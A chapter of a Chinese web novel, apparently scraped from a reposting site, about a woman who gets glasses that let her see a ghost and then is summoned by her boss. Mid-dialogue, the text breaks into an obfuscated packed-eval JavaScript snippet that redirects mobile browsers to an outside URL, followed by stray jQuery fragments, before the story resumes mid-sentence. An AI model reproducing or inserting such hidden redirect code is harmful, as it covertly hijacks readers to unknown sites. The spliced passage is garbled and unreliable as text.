项小园的话音刚落,忽然狂风大作,窗外高挂的艳阳霎时被层层乌云掩住。无需侧耳,便能听到云层中酝酿的滚滚雷声,眼看一场倾盆大雨就要来了。
“呿!”项小园大喝一声,一道如婴儿小臂般粗壮的闪电居然“哗啦!”一声破窗而入,奔涌向李岁荣的身体之中……
抱歉,以上纯属个人想像加工,花里胡哨的特效也好,令人虎躯一震的感觉也罢,统统都没有出现。
“好了。”项小园低声念叨了两句,又随手指了指她颈上挂的玉佩,就掏出那副眼熟的墨镜,“喏,戴着这个就可以看见宁满蹊了。”
“这就完了?”做足心理准备的李岁荣慢慢睁开眼睛,很有种去电影院看啊!凡达结果播的是广播体操的感觉,“一定要是墨镜吗?感觉有点……”
有点装,还有点弱智。
“换皮肤要加钱的哦!”项小园嘟囔,“你要什么样的?那个战斗野兽*的不行,造假的事情我可不干。”
这小子还知道潮牌呢,李岁荣腹诽,嘴上不忘强调:“换个普通皮肤就行,不要那么豪华的!”
项小园随口答应着甩甩手,那副墨镜瞬间就变成了一副普通的黑框眼镜,他把眼镜递给李岁荣:“这下可以了吧,你先试试能不能用。”
她只好半信半疑地接过眼镜戴上,把目光移向沙发上的漂浮围裙。
阔别几天的宁满蹊穿着他刚买不久的那件王意威,正襟危坐,眼巴巴地盯着她。
见她半天没出声,宁满蹊扭捏一阵,终于忍不住发问:“小草,你,你现在可以看见我吗?”
“项小园,你这眼镜有问题啊,”李岁荣扭头,“我还是什么都看不见,宁满蹊在哪呢?”
项小园抬眼,正好瞥见李岁荣狡黠的笑,于是又低头继续去看手机:“反正我就会这个,要是还看不见我也没办法。”
“你这人怎么这么没素质啊!”宁满蹊闻言满脸崩溃,抄起地上的凳子腿(这还是上一轮大战里阵亡的)就要砸他,“不就是要钱吗,我的钱都给你!”
“天生的,你羡慕不来。”项小园食指往下滑,“我不需要你给啊,反正你也死了,合法继承或者冒名顶替随便我选咯。”
“你!”宁满蹊被噎得说不出话,下意识求助李岁荣,“小草他骂——”
话说了一半,他又很快意识到李岁荣并不能接收他的求助信号为他主持公道,只能蔫巴巴地弯下脊背,侧过头揉了揉眼睛。
看来给人希望又破灭的感觉可能不太好受,李岁荣叹了口气,走到他身边坐下。
“他骂你,你不会骂他啊?”她说,“我看看,你不会被气哭了吧?”
“我没哭!”宁满蹊立刻抬起头,他的脸上确实只有沮丧而非泪水,这种沮丧在看到她微笑的眼睛时又飞快地变成了惊喜。
“你,你,”他语无伦次,“你可以看到我了?!”
李岁荣被他的反应逗笑了:“对呀,你怎么一骗就上当?”
宁满蹊捂着嘴,张开双臂就扑向李岁荣。
这份短别重逢的拥抱大约只持续了一秒不到,她甚至只是隐约感到一阵些微的凉意,宁满蹊就直直穿过了她的身体,摔在沙发上。
就像电视屏幕接触不良一般,他的身影也忽隐忽现了几秒,而后随着他慢慢起身而逐渐恢复清晰。
“这是怎么回事?”李岁荣问皱着眉站起来的项小园,“他碰不到我吗?”
“你全身上下的灵都靠玉葫芦维系,正常人本身就能吸收吐纳灵,佩戴玉佩不过是锦上添花,你可以么?”他不爽地拎起宁满蹊的衣服把他赶去一边,“他是纯灵体,想要和有实体的东西接触只能唤起他们的灵,你有多少灵能和他拥抱?换块破玉早就炸了!”
“还好这玉质量不错。”李岁荣有些后怕地拍拍胸口,“小路这不是不知道吗?别再把他说哭了。”
她这样说着,探头去项小园身后看他。宁满蹊满脸内疚,可能还有些羞赧,倒确实没有泪意。
“孤魂野鬼一个,哪还有流泪的功能。”项小园翻了个白眼,往后一躺靠在沙发上,“赶紧说正事,宁满蹊,你到底怎么死的?”
他到底怎么出事的?这当然也是李岁荣心头盘旋已久的疑惑,不过这也许会让宁满蹊受到二次伤害,所以便一直憋在心里。这问题突然被项小园大大咧咧地问出来,李岁荣下意识就想制止他。
“我,我真死了?”出乎意料的,宁满蹊只是茫然的看着他们,喃喃反问,“我是怎么死的?”
-
生活真是起起落落落落落落落落啊。
发泄般啃着挤完地铁变成玉米泥的玉米,李岁荣在心里哀嚎。
尽管昨天最后项小园配合她一起去撤销了报警,让自己姑且脱离了犯罪嫌疑人的身份,新的问题却源源不断,前赴后继地前往她身边。
先不提所谓的宝珠究竟在哪,又要怎么找。为宁满蹊报仇,或者说找到他的身体(李岁荣还不是很想称之为尸体),调查他身上发生了什么事又一跃成为了必做清单的前三名。
至于保险的问题,这点宁满蹊倒是还有印象,不过他的答案却把李岁荣气得够呛。
他当时是怎么说的?“那些是我买的啦,”宁满蹊不好意思地挠挠头,“我好像知道有人要我去死,但我死了你怎么办?所以我就……”
其他的,是谁要杀他,他是怎么发现的,宁满蹊反而一问三不知,把他问急了干脆饭遁,也就是跑进厨房声称要做饭去了。
“唉……”一想到这个让人操心的家伙,李岁荣就忍不住长叹一声。
“怎么了小李?”身边也在风卷残云早餐的同事王语熙好奇地问,“谁又给你气受了?”
“别说了,根本没法说!”李岁荣抱怨。
“还能有谁,今天又轮到她跟郑总汇报呗。”陈思霏说,“今天郑总看起来心情很糟糕哦。”
“他哪一天心情好过了?”李岁荣又啃两口玉米,突然警觉起来,“不对,陈姐,你还知道什么?”
陈思霏伸出食指摆了摆,意味深长地摇头:”nonono,以前他上班像便秘,今天那完全是屎把下水道堵了水花还溅了一脸还不得不跑出来找邻居求救的程度。搞不好是又被Bess挑刺了。”
“那我一会岂不是要撞枪口上!”李岁荣惨叫一声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908290|176819||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“周五我还拒绝帮他接女儿!”
“那你自求多福吧。”陈姐同情地拍拍她的肩膀,“往好了想他应该不会一时冲动就把你开了。”
“他说今年年内帮我和总部沟通转正手续的!!”李岁荣瘫倒在椅子上,“不会又要泡汤吧……”
看到这么悲伤宛如一条死鱼的家伙,大家终于也不好意思再说什么,纷纷四散开来,各自为政说起别的小话去了。
正如之前介绍的那样,李岁荣作为本公司唯一一个干了一年多年活还没被赶走的外包,全靠做事足够牛马,做人足够全能。她本来是作为后勤临时派遣来的,但文能做ppt武能修电脑,甚至谁家孩子没人接也愿意搭把手,开家长会临时顶包一下家长也不在话下。一来二去,大家也都愿意她留下来了。
他们之前提到的郑总和Bess,前者是他们的顶头上司,人事部总监郑仁武,全靠自己有个好舅舅在总部呼风唤雨,这才得以在子公司狐假虎威,让大家苦不堪言。后者则是半年前才刚空降来的CEO,不折不扣的女强人,她不仅自己来,还带了一套自己的私人班底,和郑仁武总是针锋相对地打擂台。
不过,他们彼此看不顺眼的原因,向上溯源还要归结于总部的派系之争。总部的斗争如火如荼,即使远在子公司大家也多多少少有所了解。郑舅舅一派元老和Bess曾经的直属上司,正在为谁能成为下一任掌权人打得不可开交。
大家对此没什么太大的感想,毕竟打来打去也是神仙斗法,他们这些小虾米连个官都不算,最差也不过是被裁——那大家都还有2n保底呢!
不过很显然,这些人里不包括李岁荣,她要是被裁了……不管怎么看,她看起来都很像第一个被裁的那个!不要啊,现在家里又多了一个人吃饭呢!
思及此,李岁荣赶紧把最后两口玉米咽下去,张望了一眼虚掩的郑仁武的办公室门,小跑着去给郑仁武泡咖啡。
咖啡刚泡了一半,她刚打开一瓶新牛奶——公司新换了个牌子,而郑仁武喝咖啡要求只能倒10ml牛奶,她正在掂量10ml大概是多少——还没来得及倒进杯里。
郑仁武忽然大步流星地从她身后走过,头也没回地冲进自己的办公室,砰地一声关上了门。
李岁荣忐忑地回头看,同事们早就停止交谈,个个噤若寒蝉,用饱含同情的眼神看向她。
果然,下一秒,办公室里就传来郑仁武的喊声:“李岁荣?李岁荣到了吗?”
李岁荣手一抖,不小心倒了半杯奶进去,她也来不及再制作一杯,只好硬着头皮捧着这杯拿铁走进办公室。
刚踏进办公室,听到关上门那一声清脆的咔哒声,李岁荣忽然暗叫不好。
急着进来被骂,她连电脑都没带,到时候又要被喷工作态度不端正了!
“老板……你的奶,噢不,你的咖啡……”她战战兢兢地把咖啡放在桌上,“您找我有什么事?”
出乎意料,郑仁武既没有在意咖啡,也没有在意她没带电脑。他紧紧皱着眉头,右手握成拳放在桌子上,凝视着李岁荣。
“小芯去找你了吗?周五不是你接走的她吗?”他说。